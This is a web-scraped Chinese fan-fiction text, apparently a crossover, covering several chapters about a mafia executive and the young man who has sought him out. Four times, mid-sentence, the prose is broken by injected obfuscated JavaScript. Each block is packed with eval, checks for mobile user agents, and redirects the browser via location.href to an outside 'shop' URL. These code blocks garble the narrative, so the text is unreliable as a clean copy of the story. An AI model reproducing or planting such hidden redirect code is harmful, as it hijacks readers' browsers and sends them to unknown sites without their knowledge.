然而“好同事”竟然撑着他的伞挡住乱飞的玻璃渣,佐久间弥津的脸色变了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880637|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他在心疼自己的伞,而不是因为看到吊灯里摔出的仍闪着红灯的手掌大小的方形匣子,在地上弹了两下,最后摔到钢琴家脚边。 谁也没想到这位“不请自来”的港口黑手党干部会毫无预兆地引发混乱。在众人的诧异中,佐久间弥津紧接着命令筱原举枪暴力破坏装着被召回纸钞的箱子锁扣。 有人脸色铁青,还有人想逃。 反正,“佐久间弥津”就是一个如此凶狠、不讲理的形象,展示暴力才是“佐久间弥津”该做的。 形势在瞬息之间变得紧张,又在下一秒宣布结束。 眨眼间升起的电流幕挡在两方之间,敌人开枪后无人倒地,只有被扭曲的弹头噼里啪啦落地。电流宛若银蛇般在空气中高速飞掠,迅捷而精准地击中跳动着的心脏。 “注射药物之后送去地牢。” 佐久间弥津习惯性地命令道。 他又忽然想起周围的人不是他的部队,不会带镇静药物。只好把视线投向让他来现场的人,“你……看着办吧。” “他们跑不掉的。” 把有名字的伞物归原主,又让人把对方安放的状似监控探头的匣子回收,钢琴家让佐久间弥津谈谈想法。 “一个多月前,也有别人想在交易上给我们设圈套。你不是遇到过吗?安置了炸弹的游船。” “嗯。” “你觉得,会是什么呢。” 有人盯上了组织的各个贸易线路。或者说,先盯上了这方面。 “我之前送了一部分被退回的货物去检测,昨天凌晨出了结果。” “……所以你今天才会跟过来?” “当然。你要不要猜猜检测结果是什么?” 佐久间弥津不是很想猜,他再也不会踩钢琴家的坑了。 “被退回的纸钞里检测出了一种异能特务科绝对不会让我们涉足的东西。” 原来……是“嫁祸”啊。 “我派人连夜让对方将全部货物退回,补偿管够。但对方要求面谈,想来不怀好意。” 于是他带了一个即使掀桌也不奇怪的人。 不想谈的话,大家都别谈了。 “对方以为我们会把被退回的货物重新过后转卖,让走私致幻药物的罪名定死。最差的结果不过是销毁。可他们没想过我会检查。” 他对自己的“作品”相当自信。那是在长年累月的重复工作中培养出的感觉,不是直觉或者天赋能解释的。他在拆出被退回货物的瞬间,闻到了一种不该出现在纸钞上的味道。 不仅味道有问题,东西也已经被掉包了。 “就像我能闻到你身上为了掩盖药味而喷的香水。” “……?” 果然变态另有其人吧。 “有人想引起异能特务科的注意,借此让我们担上走私致幻药物的嫌疑。即使只是嫌疑,洗刷也需要时间,会让我们的行动备受阻碍。下次再出现类似的风险,异能特务科还会第一时间想到我们。你打算怎么做。” 他还能怎么做。 收拾收拾,打开地牢,准备迎接客人吧。 “筱原,手机。” 佐久间弥津对使唤别人的下属十分得心应手。 用筱原才悠只剩五成电量的手机给他记得号码的枢川发消息,又一边用自己的手机给紫苑打电话,“紫苑,有急事。半小时之后,来优的办公室。” “呃……是。” 有点奇怪。 “你在哪,”佐久间弥津问,“不在本部吗。” 在倒是在。 望了眼站在地下训练场内的人,面无血色的紫苑刻心中已经预料到了自己被上司丢去地牢站岗的下场了。 他该不该说……佐久间先生关押的“朋友”被破例送来了地下训练场呢? 84.绝对不想成为渣男的干部(下) 紫苑刻扶正眼镜,决定鼓起勇气担责。 但上司的眼神始终追着训练场上的那道身影。另一位干部也站在栏杆边,瞧着下面的场景,摇了摇头,表情像听到让人会心一笑的笑话那样。 “紫苑,回优办公室等我。我十分钟之后到。” 既然佐久间先生发话,他就不得不走了。 支走紫苑,身边除了钢琴家再无别人的佐久间弥津盯着场上让他纠结多日的身影出神。 没了外人,钢琴家才低声问,“你得先回答,那个看起来体术不错的人,是你舍不得杀也舍不得送走的人?” 对战中的身影灵活且轻巧,在经验老道的训练师面前也尽量做到了不明显落下风,相当独特的战斗风格和某种常出现在电视剧集中的异国风格武术很相似。这么一想,其实那人的穿着风格本就贴近异国的风格。 几名和他们一样站在二层平台上的成员,也大多同那名直面苏枋隼飞的训练师一样,眼里充满欣赏和好奇。 对新奇的东西有好奇心在所难免。 “是的。” 他被佐久间的回答气笑了。 “你到底舍不得什么。这样的人,恐怕用不着你保护吧。” 那日听到佐久间神经质一样的想法,让他以为那小子比刻板印象中的文职人员更加文弱,是离了佐久间就会被当场枪杀的孱弱角色。 “佐久间,舍不得放手就直说,没人会嘲笑你。”除了我。 他才是被佐久间过分小心谨慎态度狠狠戏耍的人。 “真是病态的情感。以为冠以高尚的名头就更有价值吗。在这方面,那个年纪比你小的人都比你清醒。” 也不知道他的话佐久间听进去了多少。嗓子受过伤就理所当然地拿沉默当武器,难搞的家伙。 场上的人都懂得何为点到为止。相当有礼貌地朝对手致以敬意,本不该出现在这里的年轻人一回头便看到了站在二楼的青年。这名让其他成员都感到陌生的年轻人冲二楼打招呼时,他们方才注意到两名干部成员竟然在场。是哪位的新下属? 眼看着年轻人迅速奔上楼梯,像开了自动巡回的机器人一样去到佐久间干部身边。他们心想,应该没错。 看着训练场中那道战斗灵巧的人影,其实佐久间弥津想到的是距现在已经很远的事。 不仅时间久远,距离也远。 四年前。那时他的嗓子还没做手术,但他常不顾嗓子的情况跑去京成街喝酒,与人交流需要手机打字辅助。 当时的苏枋只是新入学不久的高中一年级生,和樱、榆井他们一起撞见了棪堂……关于几人当日起冲突的原因,他早就忘得差不多了。 后来从梅宫口中了解到棪堂他们和风铃高中起冲突的内情,但以理念不同来解释也实在宽泛。 也许那个年纪的人都这样。他的嗓子不也是十几岁的时候坏掉的吗。那是人一生中最不计较后果的年纪。 那条商店街,他可能再也回不去了。 他回不去了。但有人来找他了。 既没有被手铐锁着也没有被软禁的人精神很好。像度假中的人,看什么都新鲜,好奇问他,他上午去了什么地方。 “弥津先生,我去过你的办公室了。虽然很大,但没人。”真可惜。 钢琴家转身走了,把这个麻烦的场面丢给他一个人处理。 “别瞎问。” 哎,好吧。 只能在心里偷笑的人跟上眼前青年的脚步,问道,“我们现在去什么地方?” “回办公室。我还有工作要处理。” “嗯,好。” 满口答应之后,苏枋隼飞接着心想,那就能独处一会是一会儿吧。 电梯从地下建筑直升高层,还需要一段时间,二人耳边只剩电梯运行时的噪音。 但这部电梯里竟然没有监控摄像头。他去训练场是从其他地方进去的。 “是直升固定层的。”所以没有。 弥津先生,别人都称呼你是组织的“干部”,这是什么意思。 佐久间弥津扭过头,瞧着站在自己身边的人,用上了自己能够做得到的最诚恳的语气。 “苏枋,你现在能明白我在做什么吗。” 他是黑手党组织成员,是杀人犯,是意图不轨的危险异能力者,还是通缉犯。通缉令光明正大地挂在告示栏上,就算是六方一座那些仅有几面之缘的人们来到横滨也能一眼认出他。 “明白哦。”不经允许,苏枋隼飞擅自握住了身边人的左手,“看之前的反应,你受伤的是右胳膊吧。” 但我怀疑你不明白。 佐久间弥津想抽出自己的手。 “手别抖,弥津先生,你别紧张。” 才没有……他哪里紧张了。 “不能离我太近。会出意外的。” 他顾得了组织的利益,不一定顾得上单独个人的安危。他不敢以如今的身份见血浓于水的家人,自然也不能随意置苏枋于危险之中。 “如果我偏要呢,弥津先生。” 如果我想尽办法都要留在你身边呢。 不要只看得见身边的其他人。我也可以陪你,为什么不试试。 而且你好像从来没有去调查过我的来历,虽然你应该不在乎我的身份。在来找你之前,我已经做好充分的准备了,我绝对不会成为你的弱点。 某个感情经验为零的人不敢承认自己因为身边人的话心跳乱了,从没有人对他这么直白地说这种话——幸好他最后想起自己还有工作要忙。 自己的下属还在等他。猛得抽回手,佐久间弥津在电梯快要平稳停下前对着苏枋的脑袋用力一戳。 胡说八道些什么…… 但他伸出去的手被闪身躲过,苏枋攥住他的手腕,扯到自己嘴边。 “来试试吧,弥津先生。你会满意的。” 顺便一提,弥津先生,你放在休息室的衣服我穿过了,你应该不介意吧,毕竟是你命令别人把我“关”在那里的。 你的手现在还在抖呢。 佐久间弥津这次没有抽回手。 刻意保持冷淡的神情,在电梯门彻底打开时,他认真瞧了一眼从他们初识至今似乎长高了点的人。 他早就离开生长期了,但苏枋今年才刚二十岁吧。 他顺着苏枋的意,抚上那张在脑海中越发清晰的脸。 “就那么想和我在一起?” “是的。非常想。” 就算只能偷偷幸福也没关系,就算要从“地下情人”做起也没关系,他就是为弥津先生而来的。 哼笑一声,佐久间弥津轻松甩掉苏枋的手。 “那你至少注意说话的场合。” 从不把别人的强硬态度放在眼里的人先一步出电梯,单腿麻痹差点栽倒在电梯间的人只好苦笑着扶墙跟上。 休息室在办公室旁边不远的位置。 但这是怎么回事。 休息室的门碎得东一块西一块的,拼都拼不起来。 扶着墙追过来的人脸上的笑容突然有些心虚。 其实这是因为…… 他平时闲得没事就会去试着拧门把手。说不定哪天就有人忘锁门了。 唯有今天出了意外。 * 人呢。 手机关机,人也不在办公室。 而且,是“都不在”。 怎么,一夜之间,他的干部人间蒸发了?虽然他没急事,全当趁机离开办公室呼吸新鲜空气。 他们的“上班时间”是挺自由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884252|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,办公地点也不局限在总部大楼里。 但这也太自由了吧。 “你不是和他住一起吗。”他问。你在总部,他怎么消失得无影无踪。 常年跟在佐久间身边的黑发青年回答他,“是……但弥津大人上午有另一位拜托他的事。特意交代我不用一起去。” 位于顶点的首领发问,镜优必须知无不言。 可是钢琴家也不在总部。最近有什么事用得着两个人一起失踪吗?他还真想不到。 不过,既然是工作中的事……嗯?什么动静。 像是有人在不停拧上锁的门把手,拧一下,停一会儿。 声音响过之后便陷入沉寂。他凭着方才意识到的方向寻找,发现声音的来源可能是近在咫尺的休息室的门。 停了半分钟,门又在他眼皮子底下动了。 时不时晃动一下的门像关在里面的野兽尝试冲破人类为其创造的牢笼。 他示意镜优保持安静。 他不需要言语解释,他只想亲眼看到休息室里是什么。 重力轻而易举撕扯开脆如布料的房门,黑红色的光芒附着在迸溅的碎片上,好似将其禁锢在空中。 房门被轻松毁掉,他得以看清室内的样子。 站在房间里的人正朝着另一边的窗户走去,听到身后传来的巨响也惊讶回头。 四目相对的瞬间,港口黑手党的首领在短暂地卡壳后,一脸的不可置信。 “……你这家伙怎么还在啊!” 他以为佐久间早把这小子送走了!像放生鹦鹉的人一样把人送走了! “这个嘛,是有一些原因在。” 被他的干部“软禁”在这里的年轻人看起来没有哪里不对劲。但这就是最大的不对劲了。中原中也在心里决定之后找佐久间聊聊。 和别人的关系如何扭曲,都是成员的私事。哪怕佐久间半夜出门跳海里游泳,还顺手毁了别人的货轮他都不会管的。 但把这小子软禁在这里究竟算什么。不放人走,也不把人留下,佐久间到底能不能干脆点啊。总不能是…… 突然想到某种可能,中原中也的脸色不太好了。总不能是佐久间有什么特别的心理问题吧……那更不对了。 * ——就是这样。 不然无法解释他为什么能无视弥津先生的命令,郑重地拜托被要求负责他安危的紫苑先生,为他指出一条去地下训练场的路。 “是你的首领同意了,弥津先生。” 没时间关心被毁的房门,佐久间弥津转身走向优的办公室。 “我不会再关你了。” 先离开吧,我还有工作。随便找个成员问路,他们会告诉你怎么走。 “可以是可以,但能不能把你的电话号码或者地址给我?”那年离开他之后竟然注销了电话号码,实在太狡猾了。 想到休息室之后恐怕要重新装修,港口黑手党的干部头也不回地抬起手。 “下次见面,我们是什么关系呢,弥津先生。” “你想是什么……就是什么吧。” 佐久间弥津不会再遇到第二个苏枋隼飞了。 也不会有下一个人怀着同样无法熄灭的热情来找他了。 也许,这个世界,是无数个平行世界里,唯一一个将他们相识的理论可能实现的世界。 既然如此,他还是……再珍惜一点吧。随苏枋怎么想,他应该,都可以接受。 反正,现在的他支付得起任何代价。 电流在空气中穿梭,刺耳的杂音在办公室门关上的瞬间停止,洁白的墙壁上留下一道道焦黑。 唯留苏枋隼飞对这种留下电话号码的独特方式满心感慨。 他喜欢着的人果然很厉害。 85.诡辩的干部 你还没决定怎么做吗? 工作汇报之后的时间是用来独处的。 看佐久间迷惘的眼神,他就知道这个沉迷工作半个月的人根本没想到他在问什么。 中原中也提示道,“那个被你关了好久的人呢。” “……已经没再那么做了。之前让他离开了。” 被首领用奇怪的眼神观察太久,佐久间弥津的脸色也不由得变得有点僵硬。 “他的存在,不会影响你吧。” 中原中也倒不是觉得佐久间会因此在很多事上失去分寸。 把生活和工作之间的界限看得很重要的人就是这点好。工作里的佐久间几乎是完美的。能囊括绝大部分突发情况的层层铺垫且首尾相连的布局,冷静沉着,考虑周全,并且情绪稳定,让人信任的人都有这样的品质。 也不单单是佐久间自己。 首屈一指的执行力,陷入危机后的判断力,听从佐久间命令的人身上都能体现出这些,这些很难立刻培养出的特质需要平日里的潜移默化。 佐久间可是会当着所有人的面说“我需要听从命令的人”这种听起来丝毫不留情面的冷酷话语。虽然这是人人都该知道的道理,但未必所有人都能意识到重要性。 越是迫在眉睫的事,就越是要求所有参与者都不能犯错,对谁都一视同仁。 他指的是,那个把目的说出来让听者沉默见者吃惊的人,会不会动摇佐久间一直以来坚定的观念。 是作为犯罪组织成员的观念。他们都是一条路走到黑的人,想半路回头,没有别人的帮助是很难的。 佐久间会因为和普通人走得太近,就陷入自我怀疑,怀疑自己作为犯罪组织干部的唯一性吗。 他心中给出的答案是不会。 但出于跳出工作之外的私人情谊,他还是想这么问一次。 “不会。” 佐久间弥津给出了如中原中也心中所想那般的回答。 苏枋是个连他在组织里负责什么都不关心的普通人,绝对没有想要借着他的身份对组织造成威胁的想法。 只是……有些对他的非分之想而已。 他没有让苏枋加入组织的打算,也会阻止苏枋无意间接触到属于他们的色彩。如果苏枋真要在横滨一直陪他……他更希望苏枋和普通的横滨市民一样生活。 同样的话他想过很多次了,苏枋很聪明,而且这份聪明不单指智商。 “你得休息几天了。” 中原中也发誓自己不是逼迫下属每天工作二十个小时的无良上司。 以他对佐久间的了解,泡审讯室的时候佐久间一定巴不得旁边就是休息的地方。对自己好点吧……他不想把佐久间用成消耗品。 有家人送给自己的珍贵礼物,就不要浪费家人的心意啊。 “……好的。”佐久间弥津说。 但他的工作只是暂时告一段落。 他现在得去见别人。 离开首领办公室的人摆出一张冷脸,浑身写满生人勿进几个字,即使是负责值守的成员看到他也被惊得下意识后退,差点以为这位干部和首领谈了些不愉快的事。 但公关官得了一种看到佐久间的表情就想笑的病。 他吩咐其他人先离开,他自己会和这位神色有点不妙的干部大人聊一聊。 面对旁人有些感激他一个人担下与之交谈责任的眼神,他又怎么能说,其实和佐久间聊公事的时间只占据了他们彼此相处时间的五分之一。讲究工作效率的干部先生不在乎别人的评价,想说的话以命令的形式传给他,难道能超过一分钟吗。 “就算你装出一副想杀人的表情,也只能吓得住别人。” “你见过异能特务科的人了。” “诶,是啊,昨天就面谈过了。在你之前,我已经见了我们的首领,把关键信息和他说了一声。” 该说的情况,他都解释过了,现在来说点别的吧。 “还记得你们在交易现场查到的方匣子吗?那玩意,不仅仅能拍摄录像,还有别的功能。” 组织的工程师判断那是一种少见的非民用技术,用来对异能力的某种阈值数据进行记录。“幸好不是实时上传的,否则你那天可能中招了。” 佐久间弥津那天戴着浪花胸针。 “我也拍了现场录像。原视频早就发到了枢川手上了。” “是啊。作为现场证据,也是我们和异能特务科‘谈判’的道具之一。我们都知道这不是普通犯罪组织会拥有的技术,也像你最终从那些家伙嘴里撬出来的消息一样,是有人雇佣他们扰乱我们的正常经营秩序,简单来说,就是故意‘添堵’,以及最重要的,想办法给钢琴家头上甩个走私致幻药物的罪名。” 对付非以战斗见长的高层,当然要来点猛药。 “你是可以随意掀桌的人。现在的你,就是剧本里集躁郁、恶毒、脾气差劲、总是和别人不死不休等标签于一体的反派人设。” 这样的你做什么事都不奇怪,想搞点阴谋对付你,有点让人无从下手。 “身为通缉犯的你已经够坏了,还能怎么坏,别人都会这么想,对吧。” 但你应该了解,钢琴家和你不一样。你和欧洲部门的水落望音也不一样。 “如果这是针对组织的袭击行为,那么我……” 那么他不应该和公关官在办公室聊天,而应该循着线索深入追查下去。 “你又急不可耐了。我还没说完呢。” ……如果要问佐久间弥津对这位大明星的初印象和现印象,那大概是一百八十度的不同吧。 公关官从办公桌抽屉里抽出一沓文件。 “昨天的会议纪要,自己看吧。还是说,干部先生想命令我给你一字一句解释?” 得了吧。 佐久间弥津生怕自己又踩这几个人的坑。他伸手去接,对方却把文件收回去,诱骗道,“只要你向我透露那个人的下场,我就解释给你听。” 看起来,他好像只有答应一条路可走。 “也行。去沙发那边。” 见他答应那不合理的条件,抓住机会就捉弄他的人放下戒心,准备和他进行这一场“交易”。 他坐在单人沙发上,平静地望向今日也随时随地挖坑的人,轻声说,“三分钟内……” “一分钟就能讲明白的事,用得着三分钟吗?” 但听到佐久间弥津慢吞吞吐出的下一句话,公关官一改方才的轻松神色。 “你是动不了的。” 转瞬即逝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891628|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的电流将手脚都麻痹,在疼痛和麻木的双重袭击下,中招的人只能忍着疼痛,眼睁睁地看着面无表情的年轻干部从地面捡起脱手掉落的文件。 ……真是不得了。这种感觉。 翻文件的人一目十行,在他找回身体的控制权前就及时找到了最主要的话题。 “这是犯规吧。” 真有人随随便便对同事用异能力吗。 “‘佐久间弥津’是通缉犯,我做什么都可以。” ……我说那么多不是让你拿来诡辩的。 “但你也看到了。” 他们说回正题。 在组织名下的公司和贸易路线不约而同地受到打扰,身为干部的成员还被对方盯上的同时,“总部位于东京、静冈、京都以及名古屋等地,但在横滨有分公司或者子公司的商会企业之流,在两个月内都报过警。” 不是因为异能力者犯罪,而是因为商业犯罪。所以最初由警局负责。 “现在,你明白异能特务科的意思了吗?” 也就是说,这不是针对港口黑手党的行动,而是对横滨整个城市的攻击。正因如此,港口黑手党作为这个城市的另一面,迟早会受到影响,不过是时候早晚的问题。 “接下来,不该我们出力,至少不是主力。如果我没猜错的话,中也又要求你休息?” 也别问他是怎么看出来的。一个人有没有休息好,精力是否充沛,在他看来太容易辨认了。“特别是你这种明显带着一股地牢气味的人,实在让人避之不及。” 中也没理由看不出你更需要什么。我们的首领有时候聪明得实在让人惊讶,但也聪明得理所当然。 “慢着。你忘了向我道歉。”他可不是能承受拷问程度的人,“向我因为你动不了的身体道歉。” 起身要离开的人听到这句话,像电影中故意放慢的特写动作一样,极其缓慢地回头。玫红色的双眼冷淡地打量着他。 “等到下班时间,就差不多恢复了。”佐久间弥津一点都不急。 “今天,我有和其他人约好去旧世界,时间拖不得。” “……你下班再去吧。”不要在他眼前干光明正大早退的事啊。 “你在本部随意使用异能力已经违反规定了。” “哪条,异能使用限制条例对我无效。”对中也先生也无效。如果真有这种条例,上次钢琴家绑他的时候怎么不提……不对,好像对他们三个理论上都无效。 佐久间弥津后知后觉。 自己明明知道公关官会随时随地挖坑,但对话进行到现在,他都没意识到身体暂时不灵活的人靠和他说话拖延时间。 等到他发现自己的双脚不知何时已经陷入流沙之中难以逃脱,闯进公关官办公室的人兴高采烈地邀请他一同喝酒。 “我来开车,你不能跑掉哦!” 信天翁其实是懒得读佐久间的眼神,他可是在认真邀请佐久间喝酒欸,佐久间不高兴也没办法,他自己很高兴。 做好心理准备,撑着沙发扶手站起来,但双腿的酸痛还是让公关官忍不住咬牙。 ……这就是“一物降一物”,干部先生,你明白了吗。 虽然他们现在的状态半斤八两,但当场报复回去实在是符合组织文化的事。 86.中途离场的干部 在所有旗会的“前辈”当中……不包括他的首领的话,佐久间弥津最后仍有一丝尊重之心在的,只剩杀手出身的那位了。 其他人实在是…… 极大可能早就慢性中毒的没品笑话爱好者,还有随时随地挖坑给别人跳的电影明星,这两个人够他头疼了。据说下班前还在做手术的人来不了,半路杀出来的人接了个电话又匆忙离开。而他尊重的那位有工作没来。 自称身体有了后遗症的人给他倒了一杯酒。 佐久间弥津没敢接,他对“同事”的戒心此刻达到了顶峰。 “我会当着‘首领’的面毒杀你吗?你也太警惕了吧。” 台球桌稍不注意就会有四分五裂的危险,全神贯注只想着如何取胜的首领没看向这边。 在心底默不作声地叹了口气,佐久间弥津接过看似没问题的酒杯,像离不开手机的低头族一般拿出手机翻看消息,表示对大明星没什么话想说。 就当他是来陪首领的吧。自上次来过这间台球厅后,他从未想过精进自己的台球技术。除非旧世界的老板答应他在台球桌下埋设电线圈网络,再改造台球的材质,那么他会试着用异能作弊。 今天,中也先生也会喝酒吗。 ……得小心点。 真要逼迫他在工作和生活之中选一个放在首位的话,他必然会决定先完成组织的任务。最近的信息和通话大多是工作相关内容,但工作现在告一段落,他该处理别的了。 其实,他有时候希望苏枋对他不要那么好。 就算是世界上最凶恶的杀手,心思最肮脏的阴谋家,面对太纯粹的感情,也会感到困惑和讶异吧。 人与人的关系就是这么奇怪。不知道什么时候就会相见,也不知道什么时候会分开,自以为是寻常的日子,也许不会再有第二次经历的机会。 他那天对苏枋说了什么?好像是……随便苏枋怎么做,都可以。 如今的他虽然并非孤身一人,但苏枋毕竟和他周围的其他人不同。不是犯罪组织的成员,也不是异能力者,只是一个体术不错,已经成年的……“青年人”? 他还是第一次用这个词去形容苏枋。如果不刻意去改变,当他想起苏枋的时候,出现在他脑海中的苏枋还是作为风铃高中学生的形象,而不是出现在横滨的这个……更贴近“大人”的形象。 这也许是因为,他离开前最后看到的苏枋就是那个模样,这两年里,那份记忆始终不曾改变。 实际上,他们的年纪只相差四岁而已。十六岁与二十岁,二十岁与二十四岁……真不知道哪个阶段的差距最大。 手机上有陌生号码发来的消息。是一串地址,和总部所在的方位相反,时间是苏枋离开总部的当天。苏枋知道他在忙,没有发太多消息过来,只是在五天前把地址重复发了一遍,免得消息混入积压的未读消息中,被他忽略掉。 犹豫了很久,他最后也没决定回电话。明天……再说吧。 他回头看了眼窗外的天色。天快要黑了。 夏季的话,在这个时间还能看到天边漂亮的晚霞。现在是秋季,天黑得很早。 按原定计划,他该做回欧洲部门的准备,和欧洲部门人员的接洽早就该被提上日程。 今天天气也不错,凉爽而不干燥。大概在今天,不会有意外发生了。 正是如此断定,他才会让优先一步带着他的伞回家。他“下班”了,优也一样。下班之后的时间,他一直留给优自己处理,绝不额外占用,优本就该拥有属于他自己的时间。 “还要喝吗?方才不还一副担心我给你下毒的样子。” 现在倒是一杯接一杯喝得够尽兴呢。 今日,无心在台球上和别人一争高下的人,现在只是在喝着酒看戏。 佐久间弥津手边的酒杯再次被倒满。 “你的酒量如何?” 还行。干部先生回答说。 “你得晚些回欧洲部门去。在异能特务科给出回应前,再等等。”万一有需要组织戒备的情况,也好处理。 佐久间弥津望着首领的身影,有点心不在焉地点头。虽说顺应天气行动更好,但也并非必须如此。“这么多年,你们都没打算把这间台球厅买下来吗。” “没有。我们可以给这里的老板提供一份绝对稳定的收入,这是世界上最有用的保险。老板也是这么想的。” 虽然区区一间台球厅,哪怕他们当中所有人都做得到专门为友人之间的聚会开一家店,可这需要多花费一分精力处理。想省时省力,还是去别人的店里吧。 佐久间弥津没再继续问,目光仍然望向首领所在的位置。 你以前是怎么从喝过酒的中也手里安全逃掉的。 “就那么……逃的。” 他全须全尾地从中也先生手里逃掉是有秘诀的,但这种秘诀他不想让别人知道。 不是靠异能。 “你不说清楚的话,今天我们都有走不掉的风险了。”公关官暗示道。 “……对你来说很简单吧。” “对我?为什么。” 中也先生的酒品是众所周知——他们都知道——的差劲,这也算中也先生为数不多的,会被当成笑料讲的事。 但酒品差劲的原因除了喝多了,更重要的是,中也先生想到了让他生气的事。 佐久间弥津趴在桌上,极力压低声音解释,不想让那边台球桌上的人听到。 “如果能在中也先生发脾气之前,把他彻底灌醉,连心思都懒得动,或者全程不要让他想起会惹人生气的事就好了。我的意思是说……钢琴家这一局最好别赢,不然就在分出胜负前让中也先生醉到当场睡着。目前来看,两者好像都做不到了……我先走了,明日见。” 依靠经验判断出首领今天极有可能乱来,佐久间弥津当即站起来,他得撤了。 上次被误伤的后果太严重,他绝不想再来一次。 “这可不行,共患难吧。” 组织的干部临阵脱逃像什么话。 一把将人扯回座位,故作亲近地“搂”上逃兵的肩膀,今天说什么公关官都不会让佐久间弥津先离场。 “你有多久没陪我们的首领喝过酒了?虽然他这几年都有格外注意少碰酒精——但你今天绝对不能走。” 叫嚣着危险的电弧从佐久间弥津抬起的手上闪过,打算把他强行留在台球厅的人暂时退了一步,回头关切地看着那边尚未停下的“厮杀”。 说了一长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895649|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段话的人当着同事的面掏出药剂喷雾,“或者你劝中也先生少喝点。”只是一杯红酒的话,以中也先生的酒量是完全可以的,“你把中也先生喝酒的时间占了,让他一晚上只喝半杯或者一杯的,也没关系。” 转过头来,公关官问,“你今天喝了多少。” 公关官都忘了给自己添酒时,顺手给旁边这个盯着手机沉默了半天的人倒了几次。他还盯着那边的局势,倒酒的量时多时少,而这家伙居然来者不拒,像是手机里有东西吸引着他的全部注意力,连酒杯里被倒了多少酒都不在意,仿佛只是无意识重复举杯喝酒的动作。 干部先生重复了最开始的回答。 他的酒量还行。 喝再多也没事。 而且他今天没开车。 不过,一个人即使酒量再好,身上也会留下喝过酒的痕迹。他身上的酒精味恐怕会很浓吧。 至于思维还是否清醒,他认为自己是清醒的。 只是他又翻出那条消息,翻来覆去地反复看,在脑子里想了无数种和苏枋再见面的场合。 如果冷落说出那些话的苏枋……不是让他更像渣男了吗。 他不是故意的,这段时间他真的有工作要忙。 明天,得去和苏枋见一面吧…… 还是今天呢? 可是今天已经快要天黑了。 他要不要给苏枋找个更好的地方住呢,至少要更安全点吧……在总部周边怎么样?在家里一抬头能看到总部大楼就更好了。 对一般人来说,是离犯罪组织远一点更好,但对苏枋来说,远近恐怕没区别。 见他又陷入突如其来的沉默,旁边的人意义不明地哼了一声,起身走了,留他继续对着那串电话号码发呆。 他最后给那串电话号码发去了文字消息。 【我忙完了】 也许用不了多久,甚至有可能就在一天之后,当他们收到新的情报,他又会忙起来。 但现在,他忙完了。 还有时间把台球厅当酒吧用。 他出现在这里的意义是什么呢,揭露自己从酒后的中也先生手里全身而退的惊天秘密?还是被旗会的“前辈”们像行李箱一样随手提出了本部的大门? 其实都可以,他无心计较。 他不知为何有些紧张地看着自己发出去的消息,仅仅只有一行,却让他一眼看不满。 和苏枋的关系,未来是像真正的恋人那样?还是什么别的。 但是,可以见过苏枋之后,再听听他的想法。那天的分别太匆忙,苏枋恐怕还有很多想说的事…… 被他熄屏后摆在一边的手机屏幕霎时亮起,他没有录进电话簿里的号码回了新的消息。 其实他根本不用手机自带的电话簿。万一泄漏号码,容易出事。 【要一起吃晚饭吗?不过,我现在还在外面】 晚饭…… 说得也是,酒是不能当正餐的。 他回了句消息。 这次是真的要提前离场了。 被其他人问起怎么要走,他注视着脸上带着奇怪微笑的大明星,语气平淡地说,“突然有了一场约会。” 为表歉意,台球厅的费用由他来付吧。 87.被日思夜想的干部 他几乎有一个月没离开这栋建筑。 再次看到没有玻璃遮挡也没有砖墙围困的天空时,苏枋隼飞只觉得恍如隔世。 他离开的过程异乎寻常的迅速。在他走近电梯间向自己看到的第一个男人询问离开是“直接去一楼吗”的问题后,不知被下了何种命令的青年沉默着替他在电梯里刷了卡。 他乘坐的电梯并未停在一楼,而是三楼。他怀着走一步算一步的心思,从电梯间走出去,却发现他接下来的路已经一目了然了。 三楼和二楼左右都有正在运行中的扶梯,他只要乘扶梯就能顺利出门。 此刻不是一般而言的上下班时间,充其量算……接近午餐时间?仅有他在这种不上不下的时候走在一楼大厅里。 迎面而来的日光远远没有盛夏那般热烈,充斥着秋日午后特有的倦怠感。直到他踏出港口黑手党的大门,也没有任何一个人朝他投来值得注意的视线,仿佛他是透明的来客。 迄今为止,他想过的问题也有答案了。 弥津先生在港口黑手党的生活是怎么样的,是“幸福”的吗,这样的生活,是弥津先生自愿选择的吗? 或许他应该换种思路。 